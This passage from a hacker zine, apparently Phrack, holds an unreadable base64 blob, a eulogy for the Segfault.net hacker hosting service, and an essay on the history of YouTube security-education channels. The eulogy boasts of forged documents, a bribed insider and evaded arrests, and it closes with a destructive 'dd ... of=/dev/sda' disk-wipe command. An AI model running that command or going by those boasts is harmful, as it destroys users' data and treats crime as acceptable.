R6JL6PpWs35BJKNxGZnhxg1bt1+HGKwMVGisDdSvrTYdiy9lolGkdhbh4jadlYzXiupbe2kwdKEx vzzP0YyYRdzPwzZS6x+6UDTsFM7+rxf5H/pYfZPOEgTXrpk7GnKecWvXmwpkwMYcsTdaQEXLHxgD 6N16ECXzXSzWWE25BK5eHiEDs404sJEGSmlLqKuVBfgTdlBOdwcdkKcF0DCGePjfndqATVMRiCOH OlZoiYToLCM4VHCOd7K1pjgUtsbsWeKLGU9x87e6By9eE1d3LvB07ubdjjbmPICU0XwPBLRRzwc2 Rnjv2zTw+GTUgEnS0P1EfaTx9ii+vaNb0+L8do79qziFxgZjLt6DSHXbhZMv2tjdTqT2785dN4Cl CNzkOU2gjCX9KfHinzNF4peh/rdAU1nBQ8r6ns4rsGwP+TnBfIIhM/nste0Z0x5PoJvYLvIVrqcw gGxqRXMg0Dnmlw3gKEjEf95ZyZe57oCNex7RGEpvs1kaoKO70XkABi2UID/LlL6T6S4S2s8LCwsF SEpk9PWPBJTzjZcazMqcPOBQ6cZ7Ux0vXQiCCAAXEyZAKOlAf/MIIHLwU/6G5VGTzuxyP999ZkFO BOCs82kOnjZBr/BKTYG99geUvonVWcVsgiDEKR7Ii6+TrvQzADjBKKza8gsZOOuoytSyGEoZDZ1w BufzunFhaxflBVX+e6jdBEa5YIv10wtvT7HdGTqWEzDkEILZPqOO0XsAxhVKpsu1Vy9WckytTvuS MVz+3qzqkl6ZDLuhMwp0kaB//eDtmeOXKcveNhnQ0gbMtxDj0w7P3qY7bXixlWdgPr+mzMUzwaFu eMRvvjE7Reb/YGvuzEcyCEvsYRT0NGCWVBSfRYDsiRaGaMWb1WS0OWQuFxiJ4+R4WuRqRL9M5RZL pKxHowKFyNWGNxmfDXqPBvV0av57UOXFdO661jOoD6CmffTDEwu11+UtmpcgLOAfsI4WakoSU9j+ C8ofjsaCfeBnSmDiCCrhRZMcJTjh1WiolaMyiCWxbLtZC6TD2jmg7VlRzwHlOmr7PBDSiUhPuadK 9r/S3ib1U4hW50R9KrEWrfEcuMkJA7coqtdcL+7IyM8ePidoLEF70X+ZD7gBaHar8B9pS1YjdQ+p 0xqU2vhpyybi2maY+IJMTguUYgQxd1S5eDb7DJTn/vt9rtf4sSrbKjwy/HW8jbl0mrVJwZX5B0Ow 7iuya5U0GTURDC0J+jtCGDBsK8I/x5FxMkd3X63rnV3Z/67mDG2yeSj6CThO2i1twRQnxlPSiF15 XI1O0+c/3aR8MuZtLhojmbM4I5MPniRlZgY8R95iV3soMemPBxGVZenb9M3CaI/PqiJh1Qiopz7m DeOumO9sSnnr9JkLziJe+3sl+17IMtiLNOVkDB2vC7jhFRokEXG3XGhpLXuHmoLWUhzkWrULIFSK p/gHaXO1G/FekOUuAV0/561LhxvOjme5xNejIVgOlrn/kVPdHnNjKn/WSGPxQVw02eYqZB4DjQ6E b3+kiIrq/TWrxDqZos3GjitUGG2x8zwOUlnWr97lN5Rfc+FQ5si8zh7FXs6A1nEfDHCXpprG9RqK XFlnKzHL0gTplfPJ3foL1/LoItUSNSec8CI9lCdHAozzb/Qy+QFPrP38feKQSZeDowuCSvkAvhSK fFMc+bCEQQPIIo2dXaSXCTK0XctGrF+pTcVptPVUDCEvcCNfg5f3LKnEf5Ek53BogYR3cZdPUKLB nbKWTuOS8rgnQuXVlnyRZq+RcCM4gLH+rJKpXjiT3/F1HydcvwExx/1CK0Mx2clmF8TjnxTmrX5A 9MSdx26iyJcgESLqmhmZ5sfhER35XgtMj3vzdvfMQKmTMkkmPx6p4NgrF2glxuslDGu5mM9qoxO9 DsV9QqR2oMzcHMyJ04vOZMXVm24UTGdmo9C4hQu3SRY4S44PZQMtiPUx0c1tc/oHVU4lGS1DaIxB aR+KOt/M2xBjrQ1BtqXm5AwdNiNtjNqBNjV0IApI/7p70Ieeeb3tvQjSexdML+7sXQ54WV9trPds cdYgvY7etvrk9vghlA0j/7Zub5DxdqLTyOAgYfsmxfxS6s4ZiwT3Vy/uff7Iz/cy7sOFo21zKZuF b+QeCOJNxyewRgWVWN4m0ZBFp+IKh4/ArgNypLYzqoW+23WcJx7XeIlsWQIpGAToBCeTa89hS7kZ 0XcZhD7Fmaqy7Yd4zrYj9FdEtnD92rua+us9KZoZl/NvuJ3hK1XfHski0isl114wwWETurpKlESI S6S1A0N/fMwl58bN9YTP1ixcpTPtLoiB4pVM9n7m9JFwE8DDoyOa5772VdGaULTjpYD35T7vKMRk H8v2YOtnbHRexx4Mt17/I8VKOFUdCqKZAybgrNX3cZdNY6M9EDQ9Hi1hgIJvBwuS6Pdlx5Uup+FH 9fg0Ct2lHZe+GwzP3lOkt/nPatt+12Wfuru5zU6y+pzKUJVv/YifeQsWoSuGNTQT/c1NugMJACi5 mmivkopfXu42iXuTJS6uauWcLN9iOR5geBXCcIH33JVb55NuRy1e5Gxz8RGQrlxxIwDmn4gn7hKC 7379cx5fh8XPSS4krsSqHK6ZT8aqe3zLXi5jKn0SGnwV/RCHNJ/PR3DtefU9Chk7qIY14EcQlOkQ v+B+OvxhZFIt4WskikgGDcfhDPS7y5dYbTiTAxhZzYeqOoIDAfHZcxunVBTq6c6po9xmq4z+y9NI gvfC6Ol+3Hk4k3GMol3IF/Y/cqHmSGzaqSHpKTVPfxT7qiRD9A2qWZkhtsGqxb3V17/GBqL8UhZA 3wTZp0ZKMjC8jC4/jXExVfz4FV5XGm/gVVHZ/vPL+yX7tO0mRBkSJ36lCfFNtno1akG6Z8UtBzrv kzVmcSelSRh44e/JCT247YQ/AdVQpSpewaCUzAa0oE+yq12Pwmy8sliDAXUdvdxXBbXqtmnN6DDx y1IwDK3EOPwxsmHu+tMcwb1QEOyWCKmV/2p2zfo1kyFuI6DaSFWHAEHX8ZHKwbP+VozR2KOT6lcF RU4m/TzIcPXattjjR83H7krFyZUq9oK2SVPuNqAoiKNkBeC8uA8wmUlv+T5WgnBT7O2qz0Hw70m0 yCei3EZp0gf5+VcRDm6b6wOzCg8ro31Lb9RS+rgwHYE3ik3FJKbRw4ipXqjuXZyiI36JXLb3sRgj fWdsmmG1w6IAoi2JVVzPZW0FOypTAVLk6VNPLpdG0m2uuqZh5/f6QEs3pi6i6SkmCQegaEatGN1f Eucu18DX0LZU1rSj9vyxRlNzjokCz2AsfehnljkVKFdwI+5Q/Mav7cFu2guCaYjWq/REbyNXw78N +h6Mj0jGYFglQ8ZtN/v3RjBn8Du91Txk60leoxl2wV+KSLtNlPeOE5U72aBG2JovGH13tSCIXutq YnuwoSMw8E+qXbgt4yZUsi08jsypGe0aDXPKtn09hhyLmufPWdQNc0bI6xyWZnAkc7RR52dSqWPm Db8NsWw9SuMIpmm62/G2TuGyEcq0cNRBatcncZFo/kng2eJvOg0jk83iMnx4AadYuqptyf3iTGBF v9AuUBt4RRc0mVtUb1psdKf4/iGreUp2m3jm/APUlgHCK6GNTiKF7fBkS5br1+sPhlKHksqO/3ER uFCpBB1XouWlYBNj+m2gwgiCvQMFCj011rfDJnbHzvTNgTMlnGroZ4PWOr3IrEGMzJ5SgbympOvp ta3xhPaVomU2uo6zuu3rzhIWI+xjsfOjE8M0lEJSff5mjAx91g34elzF+1Ts029PQ/zafTPzRXy4 f5gSFQElQPTIPohvErhOw5MOsb57TD7beWVR9t/RZhBW3DFYsUFdabvHm6R7BkRJQBqEPMkc+tQY Ny12W6LhsrkKtPhiRfNDCMX1/M0LMjqYAWSHaE4CJfQzuy0tQL3Jzb8mL7cLK86VSLl4zwRYVziM aFMtFwdOrZV2FOAwKx4TOWCo2p4NNQ5XUGsFxD74IYSC7MZF0WfUbo9t4XXw8en745oDl7ceoPRm KAAIt0CWQ8RXKsrNnXVv95AcUile6KsmX9s/TZI8NPjHT56GH7XAKbzofWiS6FV+D0aZSMLXOZzr yzQy7jGO+NvRfsHg3GNMurNMk4yoGfQzwnnxRbsSHwgIcyYPxuUazHvhcCAA0aHBrlbFy6KmkqXS BeYONLrRBtYjJHkFYBSR2q8cxkjRrDrKQoXaS2voQTOBFGRvDVBcIcjY8QavnGuwtocZUsoBZRVC jaTNJi+Kzi7gnJK4Zn5D+MbzB6UgUInXBDpQtWgZp4E8APhvRDQ1CuJpIM14RnYiD4ZbWp680FHb QmOziLBA2GNfylhMmF6oMqHbHIE92k4BjS4xdVr3MolO8f7NU/su+ZK8qZcOAfNHQbcmEC0m9oJ9 DmPVuuLEvEAKzGJZcZTSockz3VJh9uNB7mmdaVkTwhL7rNvmGKU7GhNGKUnL1PhjfMAyt3l5odxp 0/E6UjyVdyitNp20EbZOUaR9fkdMvfuGWksOVs3DTRy6/yzNbM++Ivt0IIPuzN1LRfU7UczJ1WKX Xq2xrvG2sNA6hwAk4XkJLei4u5gPgHFJh64tf9hZ1JMk5MN8ChfY4tPLCUzE00sQUbYziFZK4oJI urRvhb50BM8pEDOhhIhmH1zNLkw+STyv8vxGtAczrDjox83MEYksiNLeTVefZ0PkygsP5+gHZ4vD vww6vXhGm+XkKZD8hTcTCYIjLhCUY1r0EYGOKaB2IjAG5OBm8qJbMeBDqj7oZEaD9SFwbw3RLJ3U Xtu/Pr4KrQYvirqY4tcefe31cDOTJ2jLsJsHctcBbOb+vvUNRmEYTO4sqFHKN35SLwadtLNAdV8E 09n/2tj1TtU8FYbpkQ+beTi1GnTzdS3vFuVeF3T/tzwIZBb1IDeM/or6t+Vb2MWHVunBkCH1rcwr eqzl5LlB5EV8402AuF34aAtzRFl5TRb7OfEVbQjxgE/fMxxc7pJhwFnqgd1PZWSLhskZsA0R008Q NeEgcs6vjC3G1/SYBMTYekLKzznGwCdxG2ycANQqbdkTgbywDkxUik66X8b45uvLkkkcDwt/XgGF YeRn9PY0As5Wi5tv+NhwqcA3xg+eFbzZ2slymnTtVTvB1EHpF7nr2xdOnXtNhbNGtFzrIvCAS177 LvyvQZGQFN3GgjIl3iULFJaW3hTd20eK4NoUgwhRIzt59G8r3IAt8wu0B9sqWqyLLvPpPn2eYUml rFtqXdZr4tFY4CGQgTGTmICJydUcHTc9fEDov6vlqvvKqACWYsrRUpq/VwybzyHjM0rt45yu0Y/k KCBzVezy4JHGmnuAZvYOKCQLPTNJ4zJ6+1P6Mm53+Pr2MpXJVewQWIsCAwZqF6Q2hptNDAjC8H/n 8BqnLxbzLVyMSU6iAjjc6JTWvmInggIqngojnHeJZ4CGW0C+2pwkRdmrJXsRz3P8R4oi9at8Vyun 9ozm9POhSFQRO1upI3p9u5tWxRTtcAHeOVFJ7I5KMook7tq4g065tVUU6qfrV/7embSebfFgc2xt FbUuS7ymzSxS0EXL+PowYHqVEE4B/Klvdr92voloh2/0FoQRPhGk+jtC5uO04EhG/C3cs8aTzDT4 IQ+321Q4XVKhr9mUaDq9hp9d7s97N+vVu4VXMb3rsC5qveVQKslN8M9RjAGLVjAa++Gj6Zy1MgvS U25BwHy/bHXoLIR+TEgW0QQaBgnkyKYng5E9IZF48cnO6kX7UIvSW9nqzd5VLQG3D2unQXWC/3OJ RqjKEHt0gMdPjMWYExLJZJvBgyzfu6y7IXvH+HaOO4fQKuT7rcqEtlxjZUegu5OlB875OC/lZj7R ZnhDAK3yUgv9+ak9lq7vzPTnix1E5yl2K2k9o/7eQfuY+OzKMjDxkSqPawArMJA58akrOSzGTOw+ 2xzMHlQW0778jrtU42TBekzTu+RR7Xb6qRPFIYndaCic+TOBM4rwt8k/3L9lWpkZm6WM9iNcI8Yo RPVBt4XY69BICYFra2Urv8Hkz0MkTScXDrk/jF4XlYqDhaxgOEEhPyOJgBwEI4YFeGujFpAdOv0w q5eeQ1cB0J6K7BbUvScNNzJNQADDL/mdaF9mSetfNri8xfMjBd9R5yQC0yigNHdTGMQM/h0FlGq0 3LJdA6+8JsVbTWwD0w7kGEoJ+MuxszQxw7icVcxO7sBtW3Dr9IckFDY9x0Z207b0oVaaKd8z/uMH tOeVUZR5QXSKMHmRweDdJu7Mf/9EPMYBS/Ycj5d90O/jGcDsNqwE9JaXoCmgbIcW8ck8ez1Z2xks fGzEHE5IquNsnwVCL6EdOaUkRvEhVrCq6cR4HHrDgx5C+gaiXiVRJqGeeFxYr41HIA084/8ii6DR eSJG/X1zU5T9XVn9n5NbCx0mypL0mZPIfJFeu6HDYsV79htuXWMgoeYd5AWNmAqIVpMkHWxE58f8 8EyGKzIJSadvnUf0GwwaBnmKiRyBEOKJ3dv1+5E8U8ChmeYLPyhgTl8hSQ5U+y6iSV1mNMiG7fK3 zWc2b4Mw/tNC7WJANBxWweWkGAqtE4P/GGgZAYsPG6Xi895RDgMR4jQNOztHrzVtRNONVZiCjtz1 64BEYLW9/qhD5VaX5hrmiXyBFVfVn80eBFIZOJOaYpFchNACR9NsXuFt3UmrUz1UudtlCjoSThV0 8WvQuGNJBr9HZiIAmGej74JAO+vB9t9sgNZybdtVxhY3iVYU5eOOBf4YAe3sl9J2wRtyRQqDUFcq pUkb9+fVk7SiVhNt6JSEJ4Q4UuOJTNP4Wt/qUEDZr3biwcmCac2ddE28u9aFBY+fxyMwYsfp0wwA AKqQ6xHW0Qk/AAGXpwmA0JoBAAAAONCEvxQXOzADAAAAAARZWg== ==== |=[ EOF ]=---------------------------------------------------------------=| ============== Page 12/13 ============== ==Phrack Inc.== Volume 0x10, Issue 0x46, Phile #0x0e of 0x0f |=-----------------------------------------------------------------------=| |=----------------------=[ Segfault.net eulogy ]=------------------------=| |=-----------------------------------------------------------------------=| |=-----------------------------=[ skyper ]=------------------------------=| |=-----------------------------------------------------------------------=| 2019/DEC/04 RIP SEGFAULT.NET, THANK YOU AND GOOD BYE 22 years of hosting hackers has come to an end. Segfault.net started hosting hackers in 1997. The main goal has always been to provide infrastructure for hackers and to support them. Hacking was still in its infancy. Servers were hard to get by. Documents had to be forged, rack space had to be rented and the server had to be custom built. Thank you to all the people who participated and all the project we hosted. It was home to team-teso, thc, hert, hackinthebox, phrack.org, ircsnet and many others. It was the gateway to the internal Teso Lab that hosted more than 10 further computer systems of different architecture and OS versions. Countless exploits were developed and tested here. Gamma provided blueboxed Internet connections via Brazil, Columbia and other C5 countries to unleash those exploits. IRCSNET became home to so many awesome discussions. I believe it was the first SSL-only IRC network spanning over 4 servers at its peak and hosting hundreds of conversations. We provided encrypted and secure shells to so many talented people that it is eye watering. There were some hard times as well. Nokia suing us, the BKA (German FBI) knocking on the door, our IP address being routed via Fort Meade or the hosting company saying they will host us for free 'because they were big fans of us' (yeah, right - we moved segfault.net to 1and1 immediately... damn fedz). Hosting at 1and1 was probably best. The guy responsible for hacking incidents and government relationship....he was on our payroll. Segfault.net prevailed and nobody ever got arrested or caught. Times have changed now. Shells and servers are easily available. DigitalOcean, AWS or google clouds are cheap and hassle free. Those are much harder to trust or to make secure (uploading a virtual machine is probably the best). Governments are more aware now. Yet, they are as ruthless and ignorant as they have always been. Beware of governments as they do not know what they are doing. Segfault.net was the birth place to so many great ideas, tools, products and companies. Thank you all. Good bye and Good luck and Keep Hacking, dd bs=4k if=/dev/zero of=/dev/sda |=[ EOF ]=---------------------------------------------------------------=| ============== Page 13/13 ============== ==Phrack Inc.== Volume 0x10, Issue 0x46, Phile #0x0f of 0x0f |=-----------------------------------------------------------------------=| |=---------------------=[ YouTube Security Scene ]=----------------------=| |=-----------------------------------------------------------------------=| |=--------------------------=[ LiveOverflow ]=---------------------------=| |=-----------------------------------------------------------------------=| --[ Table of Contents 0. About the Author 1. Preamble 2. Before 2014 3. My Start in 2015 4. Today's Scene 5. Final Words 6. References --[ 0. About the Author To briefly introduce myself, I'm LiveOverflow and I make videos about various IT security topics. Here are a few: + How SUDO on Linux was HACKED! // CVE-2021-3156 https://youtu.be/TLa2VqcGGEQ?list=PLhixgUqwRTjy0gMuT4C3bmjeZjuNQyqdx + XSS on Google Search - Sanitizing HTML in The Client? https://www.youtube.com/watch?v=lG7U3fuNw3A + Identify Bootloader main() and find Button Press Handler https://youtu.be/yJbnsMKkRUs?list=PLhixgUqwRTjyLgF4x-ZLVFL-CRTCrUo03 --[ 1. Preamble From BBS and text files, over IRC and books, to the modern internet with forums and blogs, hackers exchanged information primarily in text form. This of course meant, most older hackers prefer text, which makes it difficult to establish new kinds of media. When I started producing videos in 2015 I often got the feedback that text is superior, nobody will watch videos and I should instead write articles. So when I was asked to write about the "YouTube Hacking Scene" for Phrack I felt like video production finally reached some level of acceptance. While this article is titled "YouTube Hacking Scene" I also want to include streamers on Twitch and other platforms - who knows how long the product YouTube will survive, and I'm sure Phrack will exist long after. Given that my personal experience is biased and the history is difficult to research, this article is certainly not objective. So we will go with the French saying "preach the falsehood to know the truth". So if you know it better, please reach out. --[ 2. Before 2014 Digging up information about hacking videos from the early 2000s is difficult, but it's clear that it was not very popular. Personally I remember "Lenas Reversing for Newbies"[0] video series from 2006 very well, but it wasn't distributed via YouTube. It is an incredibly detailed and hands-on walkthrough of Windows reverse engineering and cracking with OllyDbg. I have seen it getting recommended a lot over years, indicating that there is a craving for the visual teaching approach. One of the earliest hacking show attempts seems to be "the broken" by Kevin Rose from 2003[1]. Then in 2005 Darren Kitchen started the Hak5 show[2] and it deserves a mention, as it is probably the longest running hacking video production. YouTube already existed when it started, but it wasn't popular just yet, so the distribution heavily relied on torrents. Notable might also be IronGeek, who started uploading conference videos on YouTube in 2007. His trip to Notacon 2007 might be the first ever "Hacking Vlog"[3]. But all of these video projects were mostly just scratching the surface of hacking. Very few videos were actually digging into the technical details. In 2007 the project SecurityTube started out of India by vivekramac. Probably inspired by YouTube it was meant as a place for everybody to upload and share hacking video content, but vivekramac himself was responsible for creating tons of videos. For many years it seems to have been the best source for free video courses. But in 2011 the site slowly transitioned into the new paid courses platform Pentester Academy. Fun fact, when I started making videos in 2015 I obviously came across SecurityTube and I tried to submit my videos there, but they were never accepted. The platform already felt abandoned, and the content was kinda outdated and not the depth I was looking for anyway. Nonetheless a very important part of video creator history. Over the years I have been collecting YouTube channels with more or less technical security content. And to create the chart below (Fig. 1), I looked at the year of their first relevant upload. Also most of those channels only have a handful of videos and were abandoned shortly after. But in hindsight I even noticed there were a few very early attempts at making more technical video walkthroughs such as lordparody (2009)[4]. Looking at the data there appears to have been a small surge after 2010, but I think that 2015 was where the current hacker creator scene really started growing. 2005: * 2006: 2007: ** 2008: * 2009: ***** 2010: **** 2011: ******* 2012: ************ 2013: ********* 2014: ****** 2015: *************** 2016: ************************** 2017: **************************** 2018: ********************* 2019: ************ 2020: ********************* Fig 1. Bar chart showing the numbers of new hacking YouTube creators by year --[ 3. My Start in 2015 Around 2014 I started to hit a wall in my own learning progress. There were tons of (written) tutorials about web security, WiFi hacking, Metasploit and buffer overflows, but the material mostly covered basics. To actually learn more advanced topics I had to play wargames[6] and CTFs. I remember fondly struggling for months playing w3challs or io.smashthestack to improve very very slowly - I was a classic annoying noob, even getting banned by bla from IRC ;) I believe it shouldn't have been this difficult to progress. In the traditional academic science community you rely on papers, to build upon prior research. And while we have equivalent resources, see for example Phrack, we are missing the educational institutions like universities to pass on this knowledge more effectively. So in the past, new people had to walk a very stony path to catch up with the state-of-the-art. After I finally "understood" ret2libc and ROP, I felt like that this stuff is actually easy, but the existing material is just bad at explaining it. Then in late 2014, early 2015, two events happened that would have a big impact on me. The first event was the growing community of programmers on reddit called /r/WatchPeopleCode[7] - a subreddit about live streaming programming. While it is not about security, everybody knows that programming skills are crucial if you do any form of more in-depth hacking. The second event was geohot livestreaming himself solving pwnable challenges from overthewire.org[8]. What both of these events have in common is that it's the first time for me looking over the shoulder of a professional. I realized that all the talks, blog posts and articles only cover the results, and rarely the actual process. And because I was not lucky enough to have people around me to learn from in person, watching over the shoulder of an experienced developer, or geohot, was eye opening. To see how geohot was using the terminal, writing exploit scripts and navigating IDA Pro was incredibly insightful. But more importantly, it also exposed the fails and mistakes followed by the process of troubleshooting and fixing the bugs. And this pushed me through the wall I was hitting in my own education. I was craving more. Where can I find more streams or videos where people are hacking? Unfortunately, when searching on YouTube, the only videos I could find were either Metasploit tutorials or how to use aircrack-ng to hack a WiFi. And these topics were very boring to me as I was more interested in the process of finding these kinds of flaws, rather than just using what others found. Of course I was very far away from geohot's skills, I did understand ROP and I thought I could create the "over the shoulder" experience for the people coming after me. Which led me to start livestreaming pwnable challenges[9] from exploit-exercises.com (today exploit.education), and cover other CTFs. However I quickly noticed that I was terrible at streaming and soon transitioned into making scripted videos with a focus on visual explanations[10]. Another realization I had was, in fact, I did not understand ROP and other topics properly. So having the aspiration to create better tutorials, it forced me to dig deeper, which meant this project benefited my own education too. Of course this is me talking from my own perspective and I don't want to make it sound like I was the only one. I simply wanted to provide insight on what motivations can lead people to create videos. So at this point I would like to mention a few other folks who were making videos about more "advanced" topics around that time. Gynvael from the Dragon Sector CTF team[11], MurmusCTF[12], ipp[13], psifertex[14], Zeta Two[15] and probably many more I unfortunately never came across. Making good videos is very time consuming, especially once it's more than "just" a screen recording or livestream. So very few creators are able to do it over a longer period of time and I believe John Hammond[16] and I have the longest and consistently running release schedule. --[ 4. Today's Scene As has been the case with any area of hacking, commercialization also creeps into this scene. I'm not immune to this either, as the time investment is massive and has to be justified somehow. This unfortunately leads to videos that are sometimes more motivated by exposure or products, rather than the pure sharing of knowledge; and it's difficult to find a balance between those opposing forces. It also led to the prior generation of free video content (SecurityTube, Cybrary, ...) to put their content behind paywalls. But there is one amazing positive commercial development that I want to highlight. In the past years companies like Google have sponsored very technical videos[17] to share insights into vulnerabilities of their own products. Who would have thought this could ever happen, when this community used to be scared to get sued for anything. There are also new problems that come with Google/YouTube and the other large social media platforms. YouTube for example has a policy against certain kinds of hacking videos[18], which lead to the take down of several videos and even entire channels. However it should also be noted 99% of the time it was a clear mistake and the decisions got reversed. "Hacking: Demonstrating how to use computers or information technology with the intent to steal credentials, compromise personal data or cause serious harm to others such as (but not limited to) hacking into social media accounts." - YouTube's harmful or dangerous content policies Can hacking videos be ethical or unethical? It's a difficult topic and one that I clash a lot on with other creators. I do believe that there is a way to make the "right" kind of tutorials - and so far I haven't had any issues with YouTube ;) For example, I understand that Google does not want a step-by-step video guide for script kiddies to setup a shitty phishing page, when phishing is the second most common source of compromised Google accounts[19]. And to me that is not censorship, because the underlying skill is very basic web development. So to me a phishing tutorial is kinda deceitful and unnecessarily hiding the real "hacking" skill - web development. But I know many of my peers disagree here. Then there is the evolution of "hacker influencer". It was important to me at the start to be faceless anonymous. But over the years my opinion has slightly changed. I often think back to the time when I was sitting alone in my room trying to understand an article, and wished I had the videos I make today. So for me it's important to use social media and their algorithmic feeds to maximize exposure; hoping to reach that kid who wants to break through the same wall I was hitting. Nowadays I believe that my desire to have this information easily discoverable, outweighs restricting educational resources to obscure (or underground) places. In 2019 TheCyberMentor joined the scene with live streaming basic pentesting lessons for free on Twitch[20]. It kinda felt like OSCP material, just in video form and free. There were earlier attempts at creating free pentesting courses, such as SecurityTube or Cybrary, and maybe others as well. But TheCyberMentor is undoubtedly the most successful one, reaching several millions of views. This hasn't lasted long though, since building up the initial audience, he transitioned away into paid courses too. There is also some criticism regarding original content vs. taking existing (written) tutorials and turning them into videos. Certainly there is added value in improved presentation. But there is also the ethical question about highlighting the sources. This especially affects newcomers where sometimes it's obvious that they follow a typical outline from other material, without referencing it. In the past years, there has also been an interesting development about topics covered by the video creator scene. Because it has been completely dominated by "bug bounties". As much as I love seeing an influx of motivated young people, it feels like this is our community's version of the "get rich quick" scam. It leads to a huge demand for paid courses and guides that directly or indirectly promise you to make you a successful bug hunter. Currently it's very rare to see content beyond bug bounties and I wish there was more diversity. Sometimes I also think about how hacking communities organize, and how creators changed this. In the past the communities were usually divided by topics of interest, and now the communities form around personalities. Sometimes this makes me a bit uncomfortable, but this also resulted in a massive increase in exposure to the hacking world (it benefits the creator when the fan base grows). It's always difficult to see cultural change, when it evolves away from what we grew up with. But thinking back to my teenage years, I wish I could have been able to find places like that more easily, instead of having to wait until my 20s to accidentally stumble into it. Besides creating videos, there is also a growing scene live streaming on Twitch. Most of them work on challenges from HackTheBox or TryHackMe, which are platforms with commercial interest. This means the streamers provide collectively free advertising worth millions for those platforms. On one hand it's amazing to see so much content, but it's sad that less community oriented wargames/CTFs are shown. And the variety of the topics covered is very low as well. The style (screen recordings vs. person talking vs. heavy editing), and the skill levels of creators vary a lot. And I don't mind, as variety benefits us all. I'm happy as long as more people share more of their work in video form. I even would like to see more beginners documenting their journey. But deep down my heart beats for the senior professionals, like geohot at the time, who let us look over their shoulder. And there are some great channels today, such as hardware researcher stacksmashing[21], gamozo who develops entire new operating systems just for fuzzing[22] (absolutely insane) or the Flashback Team diving into their Pwn2Own winning router hack[23]; those kinds of channels make me excited. The popularity of hacking videos, and the evolution of a whole creator scene, was only possible due to the growth of social media platforms. Their algorithms helped us to get our videos in front of people who didn't know they were looking for them. As the internet changes fast, social media platforms change too, And right now TikTok seems to be an interesting platform to reach new audiences, but the short format does not allow to cover in-depth topics. MalwareTech[24] is leading the charge there with millions of views. --[ 4. Final Words Unfortunately there are so many creators today that I cannot include everyone. But please know that this article is dedicated to all of you. The following people have helped me with this article, by sharing their experience or fact checking information (alphabetical order): BlindHacker, CryptoCat, gamozo, Gynvael, hacksplained, insiderphd, ipp, John Hammond, justinsteven, Murmurs, psifertex, snubs, stacksmashing, superhero1, TheColonial, Zeta Two Shoutout to the polish and indian video creators. I do not understand a single word, but you all seem very active and dedicated. Special shoutout to geohot, because without his CTF live streams I would not be here. And shoutout to Gynvael for being the first person I really cared about acknowledging my work. "And don't forget to like, comment and subscribe." --[ 5. References [0] Lenas Reversing for Newbies (2006) https://web.archive.org/web/ 20070524043123/http://www.tuts4you.com/download.php?list.17 [1] thebroken by Kevin Rose https://archive.org/details/thebroken_xvid [2] Hak5 - Episode #1 https://www.youtube.com/watch?v=SUEXCCWMfXg [3] Notacon 2007 Part 1 https://www.youtube.com/watch?v=HXSZ4PRLUDU [4] CSAW CTF challenge 2.exe, 3.exe and 4.exe flag retrieval https://www.youtube.com/watch?v=_Ld1cD9d7tI [5] Beginner Challenge #1... https://www.youtube.com/watch?v=tdqJ8NEcJUM [6] Phrack issue #69 - International scenes [7] https://reddit.com/r/WatchPeopleCode [8] livectf REDEMPTION by geohot 7/27/2014 https://www.youtube.com/watch?v=td1KEUhlSuk [9] Let's Hack Livestream - exploit-exercises.com (2015) https://www.youtube.com/watch?v=HBnPY77JtqY [10] The Heap: dlmalloc unlink() exploit - bin 0x18 https://www.youtube.com/watch?v=HWhzH--89UQ [11] Hacking Livestream #1: ReRe and EZPZP https://www.youtube.com/watch?v=XWozhb1ZOyM [12] Life of an Exploit: Fuzzing PDFCrack with AFL for 0days https://www.youtube.com/watch?v=8VLNPIIgKbQ [13] HackTheBox - Popcorn https://www.youtube.com/watch?v=NMGsnPSm8iw [14] Live CTF v2: ... https://www.youtube.com/watch?v=D7uXE_lEzxI [15] SMT in reverse engineering, for dummies https://youtu.be/b92CW-NZ3l0 [16] GoogleCTF - XSS "Pasteurize" https://youtu.be/voO6wu_58Ew [17] Hacking into Google's Network for $133337 https://youtu.be/g-JgA1hvJzA [18] https://support.google.com/youtube/answer/2801964?hl=en [19] Data breaches, phishing, or malware? Understanding the risks of stolen credentials https://dl.acm.org/doi/abs/10.1145/3133956.3134067 [20] Zero to Hero Pentesting https://youtu.be/qlK174d_uu8?list=PLLKT__MCUeiwBa7d7F_vN1GUwz_2TmVQj [21] How the Apple AirTags were hacked https://youtu.be/_E0PWQvW-14 [22] FuzzOS: Day 1, starting the OS https://youtu.be/2YAgDJTs9So [23] How We Hacked a TP-Link Router and Took Home $55,000 in Pwn2Own https://www.youtube.com/watch?v=zjafMP7EgEA [24] https://www.tiktok.com/@malwaretech |=[ EOF ]=---------------------------------------------------------------=|